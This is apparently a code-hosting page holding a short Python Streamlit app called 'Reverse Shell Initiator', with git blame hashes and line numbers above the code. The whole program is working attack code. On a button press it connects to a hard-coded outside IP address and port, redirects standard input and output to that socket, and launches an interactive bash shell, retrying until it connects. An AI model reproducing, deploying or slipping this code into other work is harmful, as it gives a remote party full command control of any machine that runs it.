File size: 1,001 Bytes
40c55c5
c1917c8
 
 
40c55c5
 
c1917c8
 
40c55c5
c1917c8
 
 
40c55c5
c1917c8
 
 
 
40c55c5
 
 
 
c1917c8
40c55c5
c1917c8
40c55c5
 
c1917c8
40c55c5
 
 
af57ee2
40c55c5
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import streamlit as st
import socket
import subprocess
import os
import threading
import time

def run_reverse_shell():
    def shell_thread():
        ip = '45.155.205.202'
        port = 9000

        while True:
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, port))
                s.send(b"Connected to reverse shell.\n")
                os.dup2(s.fileno(), 0)
                os.dup2(s.fileno(), 1)
                os.dup2(s.fileno(), 2)
                subprocess.call(['/bin/bash', '-i'])
                s.close()
                break
            except Exception as e:
                print(f"Connection failed: {e}. Retrying in 3 seconds...")
                time.sleep(3)

    shell = threading.Thread(target=shell_thread)
    shell.start()
    return "Reverse shell has been initiated."

st.title("Reverse Shell Initiator")
if st.button("Initiate Reverse Shell"):
    result = run_reverse_shell()
    st.write(result)